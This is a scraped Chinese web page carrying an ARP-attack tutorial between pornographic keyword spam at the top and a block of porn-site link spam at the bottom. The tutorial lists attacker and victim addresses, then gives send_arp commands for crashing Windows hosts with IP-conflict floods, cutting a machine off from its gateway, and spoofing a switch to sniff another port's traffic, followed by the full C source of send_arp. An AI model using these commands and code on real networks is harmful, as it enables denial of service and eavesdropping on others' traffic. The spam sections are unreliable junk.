六月婷婷综合激情-六月婷婷综合-六月婷婷在线观看-六月婷婷在线-亚洲黄色在线网站-亚洲黄色在线观看网站

明輝手游網中心:是一個免費提供流行視頻軟件教程、在線學習分享的學習平臺!

玩轉arp

[摘要]以下討論的機子有 一個要攻擊的機子:10.5.4.178 硬件地址:52:54:4C:98:EE:2F 我的機子: :10.5.3.69 硬件地址:52:54:4C:98:ED:C5...

以下討論的機子有

一個要攻擊的機子:10.5.4.178

硬件地址:52:54:4C:98:EE:2F

我的機子: :10.5.3.69

硬件地址:52:54:4C:98:ED:C5

網關: 10.5.0.3

硬件地址:00:90:26:3D:0C:F3

一臺交換機另一端口的機子:10.5.3.3

硬件地址:52:54:4C:98:ED:F7

一:用ARP破WINDOWS的屏保

原理:利用IP沖突的級別比屏保高, 當有沖突時, 就會

跳出屏保。

關鍵:ARP包的數量適當。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3

10.5.4.178 52:54:4C:98:EE:2F 40

二:用ARP導致IP沖突, 死機

原理:WINDOWS 9X, NT4在處理IP沖突時, 處理不過來, 導致死機。

注: 對WINDOWS 2K, LINUX相當于flooding,只是比一般的FLOODING

有效的多.對LINUX, 明顯系統被拖慢。

[root@sztcww tools]# ./send_arp 10.5.4.178 00:90:26:3D:0C:F3

10.5.4.178 52:54:4C:98:EE:2F 999999999

三:用ARP欺騙網關, 可導致局域網的某臺機子出不了網關。

原理:用ARP應答包去刷新對應著要使之出不去的機子。

[root@sztcww tools]# ./send_arp 10.5.4.178 52:54:4C:98:EE:22

10.5.4.178 00:90:26:3D:0C:F3 1

注意:如果單單如上的命令, 大概只能有效幾秒鐘, 網關機子里的ARP

高速緩存會被被攻擊的機子正確刷新, 于是只要...

四:用ARP欺騙交換機, 可監聽到交換機另一端的機子。

可能需要修改一下send_arp.c,構造如下的數據包。

ethhdr

srchw:52:54:4C:98:ED:F7--->dsthw:FF:FF:FF:FF:FF:FF proto:806H

arphdr

hwtype:1 protol:800H hw_size:6 pro_size:4 op:1

s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3

d_ha:00:00:00:00:00:00 d_ip:10.5.3.3

然后就可以sniffer了。

原理:

交換機是具有記憶MAC地址功能的,它維護一張MAC地址和它的口號表

所以你可以先來個ARP 欺騙,然后就可以監聽了

不過需要指出,欺騙以后,同一個MAC地址就有兩個端口號

yuange說, “這樣其實就是一個競爭問題。 ”

好象ARP 以后,對整個網絡會有點影響,不過我不敢確定

既然是競爭,所以監聽也只能監聽一部分,不象同一HUB下的監聽。

對被監聽者會有影響, 因為他掉了一部分數據。

當然還有其他一些應用, 需要其他技術的配合。

以下是send_arp.c的源程序

/*

This program sends out one ARP packet with source/target IP

and Ethernet hardware addresses suuplied by the user. It

compiles and works on Linux and will probably work on any

Unix that has SOCK_PACKET. [email protected]

*/

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#define ETH_HW_ADDR_LEN 6

#define IP_ADDR_LEN 4

#define ARP_FRAME_TYPE 0x0806

#define ETHER_HW_TYPE 1

#define IP_PROTO_TYPE 0x0800

#define OP_ARP_REQUEST 2

#define OP_ARP_QUEST 1

#define DEFAULT_DEVICE "eth0"

char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev

usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet

{

u_char targ_hw_addr[ETH_HW_ADDR_LEN];

u_char src_hw_addr[ETH_HW_ADDR_LEN];

u_short frame_type;

u_short hw_type;

u_short prot_type;

u_char hw_addr_size;

u_char prot_addr_size;

u_short op;

u_char sndr_hw_addr[ETH_HW_ADDR_LEN];

u_char sndr_ip_addr[IP_ADDR_LEN];

u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];

u_char rcpt_ip_addr[IP_ADDR_LEN];

u_char padding[18];

};

void die (char *);

void get_ip_addr (struct in_addr *, char *);

void get_hw_addr (char *, char *);

int main (int argc, char * argv[])

{

struct in_addr src_in_addr, targ_in_addr;

struct arp_packet pkt;

struct sockaddr sa;

int sock;

int j,number;

if (argc != 6)

die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));

if (sock < 0)

{

perror("socket");

exit(1);

}

number=atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);

pkt.hw_type = htons(ETHER_HW_TYPE);

pkt.prot_type = htons(IP_PROTO_TYPE);

pkt.hw_addr_size = ETH_HW_ADDR_LEN;

pkt.prot_addr_size = IP_ADDR_LEN;

pkt.op = htons(OP_ARP_QUEST);

get_hw_addr(pkt.targ_hw_addr, argv[4]);

get_hw_addr(pkt.rcpt_hw_addr, argv[4]);

get_hw_addr(pkt.src_hw_addr, argv[2]);

get_hw_addr(pkt.sndr_hw_addr, argv[2]);

get_ip_addr(&src_in_addr, argv[1]);

get_ip_addr(&targ_in_addr, argv[3]);

memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);

memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);

for (j=0;j {

if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)

{

perror("sendto");

exit(1);

}

}

exit(0);

}

void die (char *str)

{

fprintf(stderr,"%s ",str);

exit(1);

}

void get_ip_addr (struct in_addr *in_addr, char *str)

{

struct hostent *hostp;

in_addr->s_addr = inet_addr(str);

if(in_addr->s_addr == -1)

{

if ((hostp = gethostbyname(str)))

bcopy(hostp->h_addr, in_addr, hostp->h_length);

else {

fprintf(stderr, "send_arp: unknown host %s ", str);

exit(1);

}

}

}

void get_hw_addr (char *buf, char *str)

{

int i;

char c, val;

for(i = 0; i < ETH_HW_ADDR_LEN; i++)

{

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf = val << 4;

if (!(c = tolower(*str++)))

die("Invalid hardware address");

if (isdigit(c))

val = c - '0';

else if (c >= 'a' && c <= 'f')

val = c-'a'+10;

else

die("Invalid hardware address");

*buf++ = val;

if (*str == ':')

str++;

}

}


上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。




標簽:玩轉arp 
主站蜘蛛池模板: 日本欧美高清全视频 | 婷婷丁香四月 | 天天干天天拍 | 亚洲视频国产视频 | 日本高清视频网站www | 小草青青免费影视观看 | 天堂网www天堂在线资源链接 | 中文字幕在线视频免费观看 | 日韩一卡2卡3卡新区网站 | 亚洲第一视频区 | 字幕网资源站中文字幕 | 亚洲欧洲一二三区 | 一本草久 | 亚洲欧美一区二区三区在线观看 | 影音先锋国产资源 | 午夜精品视频在线观看 | 亚洲成综合人影院在院播放 | 日本a网站| 欧美中文字幕在线 | 日韩福利网 | 亚洲成人高清在线 | 日日夜夜网站 | 日夜啪 | 在线看亚洲 | 亚洲欧美激情在线 | 在线久综合色手机在线播放 | 午夜久 | 日韩视频不卡 | 深夜福利免费视频 | 天天cao在线| 特黄色片 | 视频国产一区 | 污污在线观看视频 | 天天做日日爱 | 日韩欧美二区在线观看 | 日本中文在线 | 欧洲亚洲综合 | 最近中文字幕无吗免费版 | 香蕉成人啪国产精品视频综合网 | 视频在线精品 | 最近更新免费中文字幕大全 |